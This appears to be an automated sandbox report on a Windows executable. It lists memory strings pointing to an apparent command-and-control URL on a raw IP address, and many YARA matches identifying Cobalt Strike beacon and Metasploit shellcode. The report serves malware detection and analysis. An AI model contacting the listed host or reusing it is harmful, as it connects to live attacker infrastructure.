Source: 7kSftA4Eoh.exe, 00000000.00000002.4125449731.0000000000151000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000002.4125724436.0000000000183000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2791907620.0000000000151000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2497560445.0000000000151000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2357156436.0000000000151000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://8.130.42.227:10001/en_US/all.js3
Source: 7kSftA4Eoh.exe, 00000000.00000003.2639548955.0000000000183000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2520838322.0000000000183000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2018585370.0000000000185000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2324563494.0000000000185000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://8.130.42.227:10001/en_US/all.js5
Source: 7kSftA4Eoh.exe, 00000000.00000003.2166831679.0000000000185000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2089166658.0000000000185000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2520838322.0000000000183000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2177812007.0000000000185000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://8.130.42.227:10001/en_US/all.js:
Source: 7kSftA4Eoh.exe, 00000000.00000003.2357156436.0000000000151000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://8.130.42.227:10001/en_US/all.js=?
Source: 7kSftA4Eoh.exe, 00000000.00000002.4125449731.000000000010A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://8.130.42.227:10001/en_US/all.js=D
Source: 7kSftA4Eoh.exe, 00000000.00000003.2357124729.0000000000182000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2335515707.0000000000185000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2346423893.0000000000185000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://8.130.42.227:10001/en_US/all.js?
Source: 7kSftA4Eoh.exe, 00000000.00000002.4125449731.0000000000151000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2497560445.0000000000151000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2357156436.0000000000151000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://8.130.42.227:10001/en_US/all.jsB4
Source: 7kSftA4Eoh.exe, 00000000.00000002.4125449731.0000000000151000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2791907620.0000000000151000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2497560445.0000000000151000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2357156436.0000000000151000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://8.130.42.227:10001/en_US/all.jsJ4
Source: 7kSftA4Eoh.exe, 00000000.00000003.2497560445.0000000000151000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2357156436.0000000000151000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://8.130.42.227:10001/en_US/all.jsR4
Source: 7kSftA4Eoh.exe, 00000000.00000003.2791907620.0000000000151000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2497560445.0000000000151000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2357156436.0000000000151000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://8.130.42.227:10001/en_US/all.jsSessionKeyBackward
Source: 7kSftA4Eoh.exe, 00000000.00000003.2188573468.0000000000185000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2154291765.0000000000185000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2143627230.0000000000185000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://8.130.42.227:10001/en_US/all.jsT
Source: 7kSftA4Eoh.exe, 00000000.00000003.2497560445.0000000000151000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://8.130.42.227:10001/en_US/all.jsU
Source: 7kSftA4Eoh.exe, 00000000.00000003.2357156436.0000000000151000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://8.130.42.227:10001/en_US/all.jsWindows
Source: 7kSftA4Eoh.exe, 00000000.00000003.2497560445.0000000000151000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://8.130.42.227:10001/en_US/all.jsdo
Source: 7kSftA4Eoh.exe, 00000000.00000002.4125449731.0000000000151000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2791907620.0000000000151000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://8.130.42.227:10001/en_US/all.jsdob4k
Source: 7kSftA4Eoh.exe, 00000000.00000002.4125449731.0000000000151000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2791907620.0000000000151000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2497560445.0000000000151000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2357156436.0000000000151000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://8.130.42.227:10001/en_US/all.jsm
Source: 7kSftA4Eoh.exe, 00000000.00000003.2067405841.0000000000185000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2132660259.0000000000185000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2166831679.0000000000185000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2089166658.0000000000185000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2056644230.0000000000185000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2154291765.0000000000185000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2143627230.0000000000185000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2078222580.0000000000185000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2121871297.0000000000185000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://8.130.42.227:10001/en_US/all.jsn
Source: 7kSftA4Eoh.exe, 00000000.00000002.4125449731.0000000000151000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://8.130.42.227:10001/en_US/all.jssi
Source: 7kSftA4Eoh.exe, 00000000.00000002.4125449731.0000000000151000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2791907620.0000000000151000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://8.130.42.227:10001/en_US/all.jssiZ4#
Source: 7kSftA4Eoh.exe, 00000000.00000003.2497560445.0000000000151000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2357156436.0000000000151000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://8.130.42.227:10001/en_US/all.jssij4s

System Summary

Malicious sample detected (through community Yara rule)

Source: 0.2.7kSftA4Eoh.exe.990000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Attempts to detect Cobalt Strike based on strings found in BEACON Author: unknown
Source: 0.2.7kSftA4Eoh.exe.990000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Identifies CobaltStrike via unidentified function code Author: unknown
Source: 0.2.7kSftA4Eoh.exe.990000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Rule for beacon reflective loader Author: unknown
Source: 0.2.7kSftA4Eoh.exe.990000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Meterpreter Beacon - file K5om.dll Author: Florian Roth
Source: 0.2.7kSftA4Eoh.exe.990000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects unmodified CobaltStrike beacon DLL Author: yara@s3c.za.net
Source: 0.2.7kSftA4Eoh.exe.990000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Cobalt Strike sample from Leviathan report Author: Florian Roth
Source: 0.2.7kSftA4Eoh.exe.990000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Cobalt Strike loader Author: @VK_Intel
Source: 0.2.7kSftA4Eoh.exe.990000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip Author: Florian Roth
Source: 0.2.7kSftA4Eoh.exe.990000.1.raw.unpack, type: UNPACKEDPE	Matched rule: CobaltStrike payload Author: ditekSHen
Source: 0.2.7kSftA4Eoh.exe.990000.1.unpack, type: UNPACKEDPE	Matched rule: Attempts to detect Cobalt Strike based on strings found in BEACON Author: unknown
Source: 0.2.7kSftA4Eoh.exe.990000.1.unpack, type: UNPACKEDPE	Matched rule: Identifies CobaltStrike via unidentified function code Author: unknown
Source: 0.2.7kSftA4Eoh.exe.990000.1.unpack, type: UNPACKEDPE	Matched rule: Rule for beacon reflective loader Author: unknown
Source: 0.2.7kSftA4Eoh.exe.990000.1.unpack, type: UNPACKEDPE	Matched rule: Detects Meterpreter Beacon - file K5om.dll Author: Florian Roth
Source: 0.2.7kSftA4Eoh.exe.990000.1.unpack, type: UNPACKEDPE	Matched rule: Detects unmodified CobaltStrike beacon DLL Author: yara@s3c.za.net
Source: 0.2.7kSftA4Eoh.exe.990000.1.unpack, type: UNPACKEDPE	Matched rule: Detects Cobalt Strike sample from Leviathan report Author: Florian Roth
Source: 0.2.7kSftA4Eoh.exe.990000.1.unpack, type: UNPACKEDPE	Matched rule: Detects Cobalt Strike loader Author: @VK_Intel
Source: 0.2.7kSftA4Eoh.exe.990000.1.unpack, type: UNPACKEDPE	Matched rule: Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip Author: Florian Roth
Source: 0.2.7kSftA4Eoh.exe.990000.1.unpack, type: UNPACKEDPE	Matched rule: detects Reflective DLL injection artifacts Author: ditekSHen
Source: 0.2.7kSftA4Eoh.exe.990000.1.unpack, type: UNPACKEDPE	Matched rule: CobaltStrike payload Author: ditekSHen
Source: 00000000.00000002.4126310737.00000000009F0000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Rule for beacon sleep obfuscation routine Author: unknown
Source: 00000000.00000002.4125434545.00000000000D0000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies the API address lookup function leverage by metasploit shellcode Author: unknown
Source: 00000000.00000002.4125434545.00000000000D0000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families. Author: unknown
Source: 00000000.00000002.4126576684.0000000003540000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Attempts to detect Cobalt Strike based on strings found in BEACON Author: unknown
Source: 00000000.00000002.4126576684.0000000003540000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies CobaltStrike via unidentified function code Author: unknown
Source: 00000000.00000002.4126576684.0000000003540000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Rule for beacon sleep obfuscation routine Author: unknown
Source: 00000000.00000002.4126576684.0000000003540000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Rule for beacon reflective loader Author: unknown
Source: 00000000.00000002.4126576684.0000000003540000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects unmodified CobaltStrike beacon DLL Author: yara@s3c.za.net
Source: 00000000.00000002.4126576684.0000000003540000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip Author: Florian Roth
Source: 00000000.00000002.4126576684.0000000003540000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Trojan_Raw_Generic_4 Author: unknown
Source: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Attempts to detect Cobalt Strike based on strings found in BEACON Author: unknown
Source: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies CobaltStrike via unidentified function code Author: unknown
Source: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Rule for beacon reflective loader Author: unknown
Source: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Meterpreter Beacon - file K5om.dll Author: Florian Roth
Source: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects unmodified CobaltStrike beacon DLL Author: yara@s3c.za.net
Source: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Cobalt Strike sample from Leviathan report Author: Florian Roth
Source: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Cobalt Strike loader Author: @VK_Intel
Source: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip Author: Florian Roth
Source: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: CobaltStrike payload Author: ditekSHen
Source: Process Memory Space: 7kSftA4Eoh.exe PID: 6992, type: MEMORYSTR	Matched rule: Attempts to detect Cobalt Strike based on strings found in BEACON Author: unknown
Source: Process Memory Space: 7kSftA4Eoh.exe PID: 6992, type: MEMORYSTR	Matched rule: Detects unmodified CobaltStrike beacon DLL Author: yara@s3c.za.net
Source: Process Memory Space: 7kSftA4Eoh.exe PID: 6992, type: MEMORYSTR	Matched rule: Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip Author: Florian Roth

Source: C:\Users\user\Desktop\7kSftA4Eoh.exe

Code function: 0_2_009BE080 CreateProcessAsUserA,

0_2_009BE080

Source: C:\Users\user\Desktop\7kSftA4Eoh.exe	Code function: 0_2_0099D780	0_2_0099D780
Source: C:\Users\user\Desktop\7kSftA4Eoh.exe	Code function: 0_2_009B9180	0_2_009B9180
Source: C:\Users\user\Desktop\7kSftA4Eoh.exe	Code function: 0_2_009A61A8	0_2_009A61A8
Source: C:\Users\user\Desktop\7kSftA4Eoh.exe	Code function: 0_2_009A01E8	0_2_009A01E8
Source: C:\Users\user\Desktop\7kSftA4Eoh.exe	Code function: 0_2_009BB100	0_2_009BB100
Source: C:\Users\user\Desktop\7kSftA4Eoh.exe	Code function: 0_2_009AC148	0_2_009AC148
Source: C:\Users\user\Desktop\7kSftA4Eoh.exe	Code function: 0_2_0099A280	0_2_0099A280
Source: C:\Users\user\Desktop\7kSftA4Eoh.exe	Code function: 0_2_009B82B0	0_2_009B82B0
Source: C:\Users\user\Desktop\7kSftA4Eoh.exe	Code function: 0_2_009B22B4	0_2_009B22B4
Source: C:\Users\user\Desktop\7kSftA4Eoh.exe	Code function: 0_2_009AE2C8	0_2_009AE2C8
Source: C:\Users\user\Desktop\7kSftA4Eoh.exe	Code function: 0_2_009B9AF0	0_2_009B9AF0
Source: C:\Users\user\Desktop\7kSftA4Eoh.exe	Code function: 0_2_009ADB5C	0_2_009ADB5C
Source: C:\Users\user\Desktop\7kSftA4Eoh.exe	Code function: 0_2_009A6C98	0_2_009A6C98
Source: C:\Users\user\Desktop\7kSftA4Eoh.exe	Code function: 0_2_009B745C	0_2_009B745C
Source: C:\Users\user\Desktop\7kSftA4Eoh.exe	Code function: 0_2_009AED3C	0_2_009AED3C
Source: C:\Users\user\Desktop\7kSftA4Eoh.exe	Code function: 0_2_00999D6C	0_2_00999D6C
Source: C:\Users\user\Desktop\7kSftA4Eoh.exe	Code function: 0_2_009B8E97	0_2_009B8E97
Source: C:\Users\user\Desktop\7kSftA4Eoh.exe	Code function: 0_2_009ACF14	0_2_009ACF14
Source: C:\Users\user\Desktop\7kSftA4Eoh.exe	Code function: 0_2_0354CBC7	0_2_0354CBC7
Source: C:\Users\user\Desktop\7kSftA4Eoh.exe	Code function: 0_2_0355E183	0_2_0355E183
Source: C:\Users\user\Desktop\7kSftA4Eoh.exe	Code function: 0_2_0355D70F	0_2_0355D70F
Source: C:\Users\user\Desktop\7kSftA4Eoh.exe	Code function: 0_2_0355CFA3	0_2_0355CFA3
Source: C:\Users\user\Desktop\7kSftA4Eoh.exe	Code function: 0_2_0355B58F	0_2_0355B58F

Source: 0.2.7kSftA4Eoh.exe.990000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_CobaltStrike_ee756db7 os = windows, severity = x86, description = Attempts to detect Cobalt Strike based on strings found in BEACON, creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = e589cc259644bc75d6c4db02a624c978e855201cf851c0d87f0d54685ce68f71, id = ee756db7-e177-41f0-af99-c44646d334f7, last_modified = 2021-08-23
Source: 0.2.7kSftA4Eoh.exe.990000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_CobaltStrike_663fc95d os = windows, severity = x86, description = Identifies CobaltStrike via unidentified function code, creation_date = 2021-04-01, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = d0f781d7e485a7ecfbbfd068601e72430d57ef80fc92a993033deb1ddcee5c48, id = 663fc95d-2472-4d52-ad75-c5d86cfc885f, last_modified = 2021-12-17
Source: 0.2.7kSftA4Eoh.exe.990000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_CobaltStrike_f0b627fc reference_sample = b362951abd9d96d5ec15d281682fa1c8fe8f8e4e2f264ca86f6b061af607f79b, os = windows, severity = x86, description = Rule for beacon reflective loader, creation_date = 2021-10-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = fbc94bedd50b5b943553dd438a183a1e763c098a385ac3a4fc9ff24ee30f91e1, id = f0b627fc-97cd-42cb-9eae-1efb0672762d, last_modified = 2022-01-13
Source: 0.2.7kSftA4Eoh.exe.990000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Beacon_K5om date = 2017-06-07, hash1 = e3494fd2cc7e9e02cff76841630892e4baed34a3e1ef2b9ae4e2608f9a4d7be9, author = Florian Roth, description = Detects Meterpreter Beacon - file K5om.dll, reference = https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.7kSftA4Eoh.exe.990000.1.raw.unpack, type: UNPACKEDPE	Matched rule: CobaltStrike_Unmodifed_Beacon date = 2019-08-16, author = yara@s3c.za.net, description = Detects unmodified CobaltStrike beacon DLL
Source: 0.2.7kSftA4Eoh.exe.990000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Leviathan_CobaltStrike_Sample_1 date = 2017-10-18, hash1 = 5860ddc428ffa900258207e9c385f843a3472f2fbf252d2f6357d458646cf362, author = Florian Roth, description = Detects Cobalt Strike sample from Leviathan report, reference = https://goo.gl/MZ7dRg, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.7kSftA4Eoh.exe.990000.1.raw.unpack, type: UNPACKEDPE	Matched rule: crime_win32_csbeacon_1 date = 2020-03-16, author = @VK_Intel, description = Detects Cobalt Strike loader, reference = https://twitter.com/VK_Intel/status/1239632822358474753
Source: 0.2.7kSftA4Eoh.exe.990000.1.raw.unpack, type: UNPACKEDPE	Matched rule: WiltedTulip_ReflectiveLoader date = 2017-07-23, hash5 = eee430003e7d59a431d1a60d45e823d4afb0d69262cc5e0c79f345aa37333a89, hash4 = cf7c754ceece984e6fa0d799677f50d93133db609772c7a2226e7746e6d046f0, hash3 = a159a9bfb938de686f6aced37a2f7fa62d6ff5e702586448884b70804882b32f, hash2 = 1f52d643e8e633026db73db55eb1848580de00a203ee46263418f02c6bdb8c7a, hash1 = 1097bf8f5b832b54c81c1708327a54a88ca09f7bdab4571f1a335cc26bbd7904, author = Florian Roth, description = Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip, reference = http://www.clearskysec.com/tulip, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.7kSftA4Eoh.exe.990000.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CobaltStrike author = ditekSHen, description = CobaltStrike payload
Source: 0.2.7kSftA4Eoh.exe.990000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_CobaltStrike_ee756db7 os = windows, severity = x86, description = Attempts to detect Cobalt Strike based on strings found in BEACON, creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = e589cc259644bc75d6c4db02a624c978e855201cf851c0d87f0d54685ce68f71, id = ee756db7-e177-41f0-af99-c44646d334f7, last_modified = 2021-08-23
Source: 0.2.7kSftA4Eoh.exe.990000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_CobaltStrike_663fc95d os = windows, severity = x86, description = Identifies CobaltStrike via unidentified function code, creation_date = 2021-04-01, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = d0f781d7e485a7ecfbbfd068601e72430d57ef80fc92a993033deb1ddcee5c48, id = 663fc95d-2472-4d52-ad75-c5d86cfc885f, last_modified = 2021-12-17
Source: 0.2.7kSftA4Eoh.exe.990000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_CobaltStrike_f0b627fc reference_sample = b362951abd9d96d5ec15d281682fa1c8fe8f8e4e2f264ca86f6b061af607f79b, os = windows, severity = x86, description = Rule for beacon reflective loader, creation_date = 2021-10-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = fbc94bedd50b5b943553dd438a183a1e763c098a385ac3a4fc9ff24ee30f91e1, id = f0b627fc-97cd-42cb-9eae-1efb0672762d, last_modified = 2022-01-13
Source: 0.2.7kSftA4Eoh.exe.990000.1.unpack, type: UNPACKEDPE	Matched rule: Beacon_K5om date = 2017-06-07, hash1 = e3494fd2cc7e9e02cff76841630892e4baed34a3e1ef2b9ae4e2608f9a4d7be9, author = Florian Roth, description = Detects Meterpreter Beacon - file K5om.dll, reference = https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.7kSftA4Eoh.exe.990000.1.unpack, type: UNPACKEDPE	Matched rule: CobaltStrike_Unmodifed_Beacon date = 2019-08-16, author = yara@s3c.za.net, description = Detects unmodified CobaltStrike beacon DLL
Source: 0.2.7kSftA4Eoh.exe.990000.1.unpack, type: UNPACKEDPE	Matched rule: Leviathan_CobaltStrike_Sample_1 date = 2017-10-18, hash1 = 5860ddc428ffa900258207e9c385f843a3472f2fbf252d2f6357d458646cf362, author = Florian Roth, description = Detects Cobalt Strike sample from Leviathan report, reference = https://goo.gl/MZ7dRg, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.7kSftA4Eoh.exe.990000.1.unpack, type: UNPACKEDPE	Matched rule: crime_win32_csbeacon_1 date = 2020-03-16, author = @VK_Intel, description = Detects Cobalt Strike loader, reference = https://twitter.com/VK_Intel/status/1239632822358474753
Source: 0.2.7kSftA4Eoh.exe.990000.1.unpack, type: UNPACKEDPE	Matched rule: WiltedTulip_ReflectiveLoader date = 2017-07-23, hash5 = eee430003e7d59a431d1a60d45e823d4afb0d69262cc5e0c79f345aa37333a89, hash4 = cf7c754ceece984e6fa0d799677f50d93133db609772c7a2226e7746e6d046f0, hash3 = a159a9bfb938de686f6aced37a2f7fa62d6ff5e702586448884b70804882b32f, hash2 = 1f52d643e8e633026db73db55eb1848580de00a203ee46263418f02c6bdb8c7a, hash1 = 1097bf8f5b832b54c81c1708327a54a88ca09f7bdab4571f1a335cc26bbd7904, author = Florian Roth, description = Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip, reference = http://www.clearskysec.com/tulip, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.7kSftA4Eoh.exe.990000.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_ReflectiveLoader author = ditekSHen, description = detects Reflective DLL injection artifacts
Source: 0.2.7kSftA4Eoh.exe.990000.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CobaltStrike author = ditekSHen, description = CobaltStrike payload
Source: 00000000.00000002.4126310737.00000000009F0000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_CobaltStrike_b54b94ac reference_sample = 36d32b1ed967f07a4bd19f5e671294d5359009c04835601f2cc40fb8b54f6a2a, os = windows, severity = x86, description = Rule for beacon sleep obfuscation routine, creation_date = 2021-10-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = 2344dd7820656f18cfb774a89d89f5ab65d46cc7761c1f16b7e768df66aa41c8, id = b54b94ac-6ef8-4ee9-a8a6-f7324c1974ca, last_modified = 2022-01-13
Source: 00000000.00000002.4125434545.00000000000D0000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_7bc0f998 os = windows, severity = x86, description = Identifies the API address lookup function leverage by metasploit shellcode, creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = fdb5c665503f07b2fc1ed7e4e688295e1222a500bfb68418661db60c8e75e835, id = 7bc0f998-7014-4883-8a56-d5ee00c15aed, last_modified = 2021-08-23
Source: 00000000.00000002.4125434545.00000000000D0000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_c9773203 os = windows, severity = x86, description = Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., creation_date = 2021-04-07, scan_context = file, memory, reference = https://github.com/rapid7/metasploit-framework/blob/04e8752b9b74cbaad7cb0ea6129c90e3172580a2/external/source/shellcode/windows/x64/src/block/block_api.asm, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = afde93eeb14b4d0c182f475a22430f101394938868741ffa06445e478b6ece36, id = c9773203-6d1e-4246-a1e0-314217e0207a, last_modified = 2021-08-23
Source: 00000000.00000002.4126576684.0000000003540000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_CobaltStrike_ee756db7 os = windows, severity = x86, description = Attempts to detect Cobalt Strike based on strings found in BEACON, creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = e589cc259644bc75d6c4db02a624c978e855201cf851c0d87f0d54685ce68f71, id = ee756db7-e177-41f0-af99-c44646d334f7, last_modified = 2021-08-23
Source: 00000000.00000002.4126576684.0000000003540000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_CobaltStrike_663fc95d os = windows, severity = x86, description = Identifies CobaltStrike via unidentified function code, creation_date = 2021-04-01, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = d0f781d7e485a7ecfbbfd068601e72430d57ef80fc92a993033deb1ddcee5c48, id = 663fc95d-2472-4d52-ad75-c5d86cfc885f, last_modified = 2021-12-17
Source: 00000000.00000002.4126576684.0000000003540000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_CobaltStrike_b54b94ac reference_sample = 36d32b1ed967f07a4bd19f5e671294d5359009c04835601f2cc40fb8b54f6a2a, os = windows, severity = x86, description = Rule for beacon sleep obfuscation routine, creation_date = 2021-10-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = 2344dd7820656f18cfb774a89d89f5ab65d46cc7761c1f16b7e768df66aa41c8, id = b54b94ac-6ef8-4ee9-a8a6-f7324c1974ca, last_modified = 2022-01-13
Source: 00000000.00000002.4126576684.0000000003540000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_CobaltStrike_f0b627fc reference_sample = b362951abd9d96d5ec15d281682fa1c8fe8f8e4e2f264ca86f6b061af607f79b, os = windows, severity = x86, description = Rule for beacon reflective loader, creation_date = 2021-10-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = fbc94bedd50b5b943553dd438a183a1e763c098a385ac3a4fc9ff24ee30f91e1, id = f0b627fc-97cd-42cb-9eae-1efb0672762d, last_modified = 2022-01-13
Source: 00000000.00000002.4126576684.0000000003540000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: CobaltStrike_Unmodifed_Beacon date = 2019-08-16, author = yara@s3c.za.net, description = Detects unmodified CobaltStrike beacon DLL
